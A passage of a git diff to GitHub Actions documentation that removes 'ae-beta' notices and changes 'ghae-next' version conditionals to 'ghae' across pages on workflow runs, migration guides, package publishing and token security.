b/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md @@ -11,7 +11,6 @@ shortTitle: Download workflow artifacts {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} By default, {% data variables.product.product_name %} stores build logs and artifacts for 90 days, and you can customize this retention period, depending on the type of repository. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)." diff --git a/content/actions/managing-workflow-runs/index.md b/content/actions/managing-workflow-runs/index.md index 92d5cb1b8e..257ecba45f 100644 --- a/content/actions/managing-workflow-runs/index.md +++ b/content/actions/managing-workflow-runs/index.md @@ -27,4 +27,3 @@ children: --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} diff --git a/content/actions/managing-workflow-runs/manually-running-a-workflow.md b/content/actions/managing-workflow-runs/manually-running-a-workflow.md index c04931e0f1..249fc20534 100644 --- a/content/actions/managing-workflow-runs/manually-running-a-workflow.md +++ b/content/actions/managing-workflow-runs/manually-running-a-workflow.md @@ -11,7 +11,6 @@ shortTitle: Manually run a workflow {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Configuring a workflow to run manually diff --git a/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md b/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md index 5d50bbb940..60aff0be96 100644 --- a/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md +++ b/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md @@ -14,7 +14,6 @@ versions: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Re-running all the jobs in a workflow diff --git a/content/actions/managing-workflow-runs/removing-workflow-artifacts.md b/content/actions/managing-workflow-runs/removing-workflow-artifacts.md index 48ddd8c004..e08d27650c 100644 --- a/content/actions/managing-workflow-runs/removing-workflow-artifacts.md +++ b/content/actions/managing-workflow-runs/removing-workflow-artifacts.md @@ -11,7 +11,6 @@ shortTitle: Remove workflow artifacts {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Deleting an artifact @@ -38,7 +37,7 @@ shortTitle: Remove workflow artifacts ## Setting the retention period for an artifact -Retention periods for artifacts and logs can be configured at the repository, organization, and enterprise level. For more information, see "[Usage limits, billing, and administration](/actions/reference/usage-limits-billing-and-administration#artifact-and-log-retention-policy)." +Retention periods for artifacts and logs can be configured at the repository, organization, and enterprise level. For more information, see {% ifversion fpt or ghec or ghes %}"[Usage limits, billing, and administration](/actions/reference/usage-limits-billing-and-administration#artifact-and-log-retention-policy)."{% elsif ghae %}"[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)," "[Configuring the retention period for {% data variables.product.prodname_actions %} for artifacts and logs in your organization](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)," or "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)."{% endif %} You can also define a custom retention period for individual artifacts using the `actions/upload-artifact` action in a workflow. For more information, see "[Storing workflow data as artifacts](/actions/guides/storing-workflow-data-as-artifacts#configuring-a-custom-artifact-retention-period)." diff --git a/content/actions/managing-workflow-runs/reviewing-deployments.md b/content/actions/managing-workflow-runs/reviewing-deployments.md index bcd56889f5..0e164843de 100644 --- a/content/actions/managing-workflow-runs/reviewing-deployments.md +++ b/content/actions/managing-workflow-runs/reviewing-deployments.md @@ -9,13 +9,12 @@ versions: ghec: '*' --- -{% data reusables.actions.ae-beta %} ## About required reviews in workflows Jobs that reference an environment configured with required reviewers will wait for an approval before starting. While a job is awaiting approval, it has a status of "Waiting". If a job is not approved within 30 days, the workflow run will be automatically canceled. -For more information about environments and required approvals, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} For information about how to review deployments with the REST API, see "[Workflow Runs](/rest/reference/actions#workflow-runs)."{% endif %} +For more information about environments and required approvals, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."{% ifversion fpt or ghae or ghes > 3.1 or ghec %} For information about how to review deployments with the REST API, see "[Workflow Runs](/rest/reference/actions#workflow-runs)."{% endif %} ## Approving or rejecting a job diff --git a/content/actions/managing-workflow-runs/skipping-workflow-runs.md b/content/actions/managing-workflow-runs/skipping-workflow-runs.md index 9171475df9..54666daf39 100644 --- a/content/actions/managing-workflow-runs/skipping-workflow-runs.md +++ b/content/actions/managing-workflow-runs/skipping-workflow-runs.md @@ -4,14 +4,13 @@ intro: You can skip workflow runs triggered by the `push` and `pull_request` eve versions: fpt: '*' ghes: '*' - ghae: next + ghae: '*' ghec: '*' shortTitle: Skip workflow runs --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} Workflows that would otherwise be triggered using `on: push` or `on: pull_request` won't be triggered if you add any of the following strings to the commit message in a push, or the HEAD commit of a pull request: diff --git a/content/actions/migrating-to-github-actions/index.md b/content/actions/migrating-to-github-actions/index.md index a5a35f02bd..b4dbec7116 100644 --- a/content/actions/migrating-to-github-actions/index.md +++ b/content/actions/migrating-to-github-actions/index.md @@ -18,4 +18,3 @@ children: - /migrating-from-travis-ci-to-github-actions --- -{% data reusables.actions.ae-beta %} diff --git a/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md b/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md index 5ba35b49d7..0d4690ad1e 100644 --- a/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md +++ b/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md @@ -20,7 +20,6 @@ shortTitle: Migrate from Azure Pipelines {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction diff --git a/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md b/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md index 3f51e78100..9c7290205c 100644 --- a/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md +++ b/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md @@ -20,7 +20,6 @@ shortTitle: Migrate from CircleCI {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction @@ -38,7 +37,7 @@ For more information, see "[Core concepts for {% data variables.product.prodname When migrating from CircleCI, consider the following differences: - CircleCI’s automatic test parallelism automatically groups tests according to user-specified rules or historical timing information. This functionality is not built into {% data variables.product.prodname_actions %}. -- Actions that execute in Docker containers are sensitive to permissions problems since containers have a different mapping of users. You can avoid many of these problems by not using the `USER` instruction in your *Dockerfile*. {% ifversion ghae %}For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images).". +- Actions that execute in Docker containers are sensitive to permissions problems since containers have a different mapping of users. You can avoid many of these problems by not using the `USER` instruction in your *Dockerfile*. {% ifversion ghae %}{% data reusables.actions.self-hosted-runners-software %} {% else %}For more information about the Docker filesystem on {% data variables.product.product_name %}-hosted runners, see "[Virtual environments for {% data variables.product.product_name %}-hosted runners](/actions/reference/virtual-environments-for-github-hosted-runners#docker-container-filesystem)." {% endif %} @@ -66,7 +65,7 @@ We recommend that you move away from CircleCI's pre-built images when you migrat {% ifversion ghae %} For more information about the Docker filesystem, see "[Docker container filesystem](/actions/using-github-hosted-runners/about-ae-hosted-runners#docker-container-filesystem)." -For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images)." +{% data reusables.actions.self-hosted-runners-software %} {% else %} For more information about the Docker filesystem, see "[Virtual environments for {% data variables.product.product_name %}-hosted runners](/actions/reference/virtual-environments-for-github-hosted-runners#docker-container-filesystem)." diff --git a/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md b/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md index bf9ce3252c..1d15ec53f9 100644 --- a/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md +++ b/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md @@ -19,7 +19,6 @@ shortTitle: Migrate from GitLab CI/CD {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction diff --git a/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md b/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md index 68f8847e4d..91f7db33cf 100644 --- a/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md +++ b/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md @@ -20,7 +20,6 @@ shortTitle: Migrate from Jenkins {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction @@ -70,7 +69,7 @@ Jenkins uses directives to manage _Declarative Pipelines_. These directives defi | [`triggers { upstreamprojects() }`](https://jenkins.io/doc/book/pipeline/syntax/#triggers) | [`jobs..needs`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idneeds) | | [Jenkins cron syntax](https://jenkins.io/doc/book/pipeline/syntax/#cron-syntax) | [`on.schedule`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onschedule) | | [`stage`](https://jenkins.io/doc/book/pipeline/syntax/#stage) | [`jobs.`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_id)
    [`jobs..name`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idname) | -| [`tools`](https://jenkins.io/doc/book/pipeline/syntax/#tools) | {% ifversion ghae %}For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images)."{% else %}[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software) |{% endif %} +| [`tools`](https://jenkins.io/doc/book/pipeline/syntax/#tools) | {% ifversion ghae %}The command-line tools available in `PATH` on your self-hosted runner systems. {% data reusables.actions.self-hosted-runners-software %}{% else %}[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software) |{% endif %} | [`input`](https://jenkins.io/doc/book/pipeline/syntax/#input) | [`inputs`](/actions/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputs) | | [`when`](https://jenkins.io/doc/book/pipeline/syntax/#when) | [`jobs..if`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idif) | diff --git a/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md b/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md index d21dbc0640..1c4995ed9d 100644 --- a/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md +++ b/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md @@ -20,7 +20,6 @@ shortTitle: Migrate from Travis CI {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction @@ -200,10 +199,14 @@ When migrating from Travis CI, consider the following key features in {% data va If your jobs require specific hardware or software, {% data variables.product.prodname_actions %} allows you to host your own runners and send your jobs to them for processing. {% data variables.product.prodname_actions %} also lets you use policies to control how these runners are accessed, granting access at the organization or repository level. For more information, see ["Hosting your own runners](/actions/hosting-your-own-runners)." +{% ifversion fpt or ghec %} + ### Concurrent jobs and execution time The concurrent jobs and workflow execution times in {% data variables.product.prodname_actions %} can vary depending on your {% data variables.product.company_short %} plan. For more information, see "[Usage limits, billing, and administration](/actions/reference/usage-limits-billing-and-administration)." +{% endif %} + ### Using different languages in {% data variables.product.prodname_actions %} When working with different languages in {% data variables.product.prodname_actions %}, you can create a step in your job to set up your language dependencies. For more information about working with a particular language, see the specific guide: diff --git a/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md b/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md index bb9b43b302..116c5b3072 100644 --- a/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md +++ b/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md @@ -12,7 +12,6 @@ miniTocMaxHeadingLevel: 3 {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Monitoring your workflows diff --git a/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md b/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md index 4e7b40243e..c55f5363fd 100644 --- a/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md +++ b/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md @@ -13,7 +13,6 @@ shortTitle: Add a status badge {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} {% data reusables.repositories.actions-workflow-status-badge-intro %} diff --git a/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md b/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md index 452c5db451..faede007bc 100644 --- a/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md +++ b/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md @@ -12,7 +12,6 @@ versions: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} These extra logs are enabled by setting secrets in the repository containing the workflow, so the same permissions requirements will apply: diff --git a/content/actions/monitoring-and-troubleshooting-workflows/index.md b/content/actions/monitoring-and-troubleshooting-workflows/index.md index 04a60364e7..1c7b12c155 100644 --- a/content/actions/monitoring-and-troubleshooting-workflows/index.md +++ b/content/actions/monitoring-and-troubleshooting-workflows/index.md @@ -22,4 +22,3 @@ children: --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} diff --git a/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md b/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md index cd7ef0b00f..862e2cca8d 100644 --- a/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md +++ b/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md @@ -11,6 +11,5 @@ shortTitle: Notifications {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} {% data reusables.repositories.workflow-notifications %} diff --git a/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md b/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md index e5064ae7da..1b11253aaf 100644 --- a/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md +++ b/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md @@ -13,7 +13,6 @@ shortTitle: Use the visualization graph {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} diff --git a/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md b/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md index cfede3bac4..dd021c9b38 100644 --- a/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md +++ b/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md @@ -12,7 +12,6 @@ versions: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} You can see whether a workflow run is in progress or complete from the workflow run page. You must be logged in to a {% data variables.product.prodname_dotcom %} account to view workflow run information, including for public repositories. For more information, see "[Access permissions on GitHub](/articles/access-permissions-on-github)." diff --git a/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md b/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md index 1b2f2dc9e6..f45197dc21 100644 --- a/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md +++ b/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md @@ -11,7 +11,6 @@ shortTitle: View job execution time {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} Billable job execution minutes are only shown for jobs run on private repositories that use {% data variables.product.prodname_dotcom %}-hosted runners and are rounded up to the next minute. There are no billable minutes when using {% data variables.product.prodname_actions %} in public repositories or for jobs run on self-hosted runners. diff --git a/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md b/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md index da1c8bb02f..6ecf2c01cc 100644 --- a/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md +++ b/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md @@ -13,7 +13,6 @@ shortTitle: View workflow run history {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} {% data reusables.repositories.permissions-statement-read %} diff --git a/content/actions/publishing-packages/about-packaging-with-github-actions.md b/content/actions/publishing-packages/about-packaging-with-github-actions.md index 0711fed3bc..fe14bd2f39 100644 --- a/content/actions/publishing-packages/about-packaging-with-github-actions.md +++ b/content/actions/publishing-packages/about-packaging-with-github-actions.md @@ -18,7 +18,6 @@ shortTitle: Packaging with GitHub Actions {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} {% data reusables.package_registry.about-packaging-and-actions %} diff --git a/content/actions/publishing-packages/index.md b/content/actions/publishing-packages/index.md index e1fdadcc4f..843d525047 100644 --- a/content/actions/publishing-packages/index.md +++ b/content/actions/publishing-packages/index.md @@ -17,4 +17,3 @@ children: - /publishing-nodejs-packages --- -{% data reusables.actions.ae-beta %} diff --git a/content/actions/publishing-packages/publishing-docker-images.md b/content/actions/publishing-packages/publishing-docker-images.md index fcb50166ad..d7fe77fb52 100644 --- a/content/actions/publishing-packages/publishing-docker-images.md +++ b/content/actions/publishing-packages/publishing-docker-images.md @@ -18,7 +18,6 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction @@ -146,7 +145,7 @@ on: jobs: push_to_registry: name: Push Docker image to GitHub Packages - runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae or ghec %} permissions: packages: write contents: read{% endif %} @@ -192,7 +191,7 @@ on: jobs: push_to_registries: name: Push Docker image to multiple registries - runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae or ghec %} permissions: packages: write contents: read{% endif %} diff --git a/content/actions/publishing-packages/publishing-java-packages-with-gradle.md b/content/actions/publishing-packages/publishing-java-packages-with-gradle.md index be28e9521a..fa50c59fad 100644 --- a/content/actions/publishing-packages/publishing-java-packages-with-gradle.md +++ b/content/actions/publishing-packages/publishing-java-packages-with-gradle.md @@ -20,7 +20,6 @@ shortTitle: Java packages with Gradle {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction @@ -153,7 +152,7 @@ on: types: [created] jobs: publish: - runs-on: ubuntu-latest {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + runs-on: ubuntu-latest {% ifversion fpt or ghes > 3.1 or ghae or ghec %} permissions: contents: read packages: write {% endif %} @@ -172,7 +171,7 @@ jobs: ``` {% data reusables.github-actions.gradle-workflow-steps %} -1. Runs the `gradle publish` command to publish to {% data variables.product.prodname_registry %}. The `GITHUB_TOKEN` environment variable will be set with the content of the `GITHUB_TOKEN` secret. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}The `permissions` key specifies the access that the `GITHUB_TOKEN` secret will allow.{% endif %} +1. Runs the `gradle publish` command to publish to {% data variables.product.prodname_registry %}. The `GITHUB_TOKEN` environment variable will be set with the content of the `GITHUB_TOKEN` secret. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}The `permissions` key specifies the access that the `GITHUB_TOKEN` secret will allow.{% endif %} For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)." @@ -229,7 +228,7 @@ on: types: [created] jobs: publish: - runs-on: ubuntu-latest {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + runs-on: ubuntu-latest {% ifversion fpt or ghes > 3.1 or ghae or ghec %} permissions: contents: read packages: write {% endif %} @@ -251,6 +250,6 @@ jobs: ``` {% data reusables.github-actions.gradle-workflow-steps %} -1. Runs the `gradle publish` command to publish to the `OSSRH` Maven repository and {% data variables.product.prodname_registry %}. The `MAVEN_USERNAME` environment variable will be set with the contents of your `OSSRH_USERNAME` secret, and the `MAVEN_PASSWORD` environment variable will be set with the contents of your `OSSRH_TOKEN` secret. The `GITHUB_TOKEN` environment variable will be set with the content of the `GITHUB_TOKEN` secret. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}The `permissions` key specifies the access that the `GITHUB_TOKEN` secret will allow.{% endif %} +1. Runs the `gradle publish` command to publish to the `OSSRH` Maven repository and {% data variables.product.prodname_registry %}. The `MAVEN_USERNAME` environment variable will be set with the contents of your `OSSRH_USERNAME` secret, and the `MAVEN_PASSWORD` environment variable will be set with the contents of your `OSSRH_TOKEN` secret. The `GITHUB_TOKEN` environment variable will be set with the content of the `GITHUB_TOKEN` secret. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}The `permissions` key specifies the access that the `GITHUB_TOKEN` secret will allow.{% endif %} For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)." diff --git a/content/actions/publishing-packages/publishing-java-packages-with-maven.md b/content/actions/publishing-packages/publishing-java-packages-with-maven.md index 4a9369586b..f87da4e86f 100644 --- a/content/actions/publishing-packages/publishing-java-packages-with-maven.md +++ b/content/actions/publishing-packages/publishing-java-packages-with-maven.md @@ -20,7 +20,6 @@ shortTitle: Java packages with Maven {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction @@ -146,7 +145,7 @@ on: types: [created] jobs: publish: - runs-on: ubuntu-latest {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + runs-on: ubuntu-latest {% ifversion fpt or ghes > 3.1 or ghae or ghec %} permissions: contents: read packages: write {% endif %} @@ -183,7 +182,7 @@ on: types: [created] jobs: publish: - runs-on: ubuntu-latest {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + runs-on: ubuntu-latest {% ifversion fpt or ghes > 3.1 or ghae or ghec %} permissions: contents: read packages: write {% endif %} diff --git a/content/actions/publishing-packages/publishing-nodejs-packages.md b/content/actions/publishing-packages/publishing-nodejs-packages.md index d209f0bf65..8ce574a998 100644 --- a/content/actions/publishing-packages/publishing-nodejs-packages.md +++ b/content/actions/publishing-packages/publishing-nodejs-packages.md @@ -21,7 +21,6 @@ shortTitle: Node.js packages {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction @@ -129,7 +128,7 @@ on: types: [created] jobs: build: - runs-on: ubuntu-latest {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + runs-on: ubuntu-latest {% ifversion fpt or ghes > 3.1 or ghae or ghec %} permissions: contents: read packages: write {% endif %} @@ -213,7 +212,7 @@ on: types: [created] jobs: build: - runs-on: ubuntu-latest {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + runs-on: ubuntu-latest {% ifversion fpt or ghes > 3.1 or ghae or ghec %} permissions: contents: read packages: write {% endif %} diff --git a/content/actions/quickstart.md b/content/actions/quickstart.md index c0e23bd7ca..38bf3fdf13 100644 --- a/content/actions/quickstart.md +++ b/content/actions/quickstart.md @@ -17,7 +17,6 @@ shortTitle: Quickstart {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## Introduction diff --git a/content/actions/security-guides/automatic-token-authentication.md b/content/actions/security-guides/automatic-token-authentication.md index f48f8f759b..40d3af358b 100644 --- a/content/actions/security-guides/automatic-token-authentication.md +++ b/content/actions/security-guides/automatic-token-authentication.md @@ -16,7 +16,6 @@ shortTitle: Automatic token authentication {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## About the `GITHUB_TOKEN` secret @@ -32,7 +31,7 @@ The token is also available in the `github.token` context. For more information, You can use the `GITHUB_TOKEN` by using the standard syntax for referencing secrets: {%raw%}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}. Examples of using the `GITHUB_TOKEN` include passing the token as an input to an action, or using it to make an authenticated {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API request. -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} {% note %} **Important:** An action can access the `GITHUB_TOKEN` through the `github.token` context even if the workflow does not explicitly pass the `GITHUB_TOKEN` to the action. As a good security practice, you should always make sure that actions only have the minimum access they require by limiting the permissions granted to the `GITHUB_TOKEN`. For more information, see "[Permissions for the `GITHUB_TOKEN`](#permissions-for-the-github_token)." @@ -51,7 +50,7 @@ name: Pull request labeler on: [ pull_request_target ] -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}permissions: +{% ifversion fpt or ghes > 3.1 or ghae or ghec %}permissions: contents: read pull-requests: write @@ -76,7 +75,7 @@ on: [ push ] jobs: create_commit: - runs-on: ubuntu-latest {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + runs-on: ubuntu-latest {% ifversion fpt or ghes > 3.1 or ghae or ghec %} permissions: issues: write {% endif %} steps: @@ -97,7 +96,7 @@ jobs: For information about the API endpoints {% data variables.product.prodname_github_apps %} can access with each permission, see "[{% data variables.product.prodname_github_app %} Permissions](/rest/reference/permissions-required-for-github-apps)." -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} The following table shows the permissions granted to the `GITHUB_TOKEN` by default. People with admin permissions to an {% ifversion not ghes %}enterprise, organization, or repository,{% else %}organization or repository{% endif %} can set the default permissions to be either permissive or restricted. For information on how to set the default permissions for the `GITHUB_TOKEN` for your enterprise, organization, or repository, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-workflow-permissions-in-your-enterprise)," "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization#setting-the-permissions-of-the-github_token-for-your-organization)," or "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#setting-the-permissions-of-the-github_token-for-your-repository)." | Scope | Default access
    (permissive) | Default access
    (restricted) | Maximum access
    by forked repos | @@ -131,7 +130,7 @@ The following table shows the permissions granted to the `GITHUB_TOKEN` by defau {% data reusables.actions.workflow-runs-dependabot-note %} -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ### Modifying the permissions for the `GITHUB_TOKEN` You can modify the permissions for the `GITHUB_TOKEN` in individual workflow files. If the default permissions for the `GITHUB_TOKEN` are restrictive, you may have to elevate the permissions to allow some actions and commands to run successfully. If the default permissions are permissive, you can edit the workflow file to remove some permissions from the `GITHUB_TOKEN`. As a good security practice, you should grant the `GITHUB_TOKEN` the least required access. diff --git a/content/actions/security-guides/encrypted-secrets.md b/content/actions/security-guides/encrypted-secrets.md index 7560d70ec5..ebe23f7005 100644 --- a/content/actions/security-guides/encrypted-secrets.md +++ b/content/actions/security-guides/encrypted-secrets.md @@ -16,7 +16,6 @@ versions: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.ae-beta %} ## About encrypted secrets diff --git 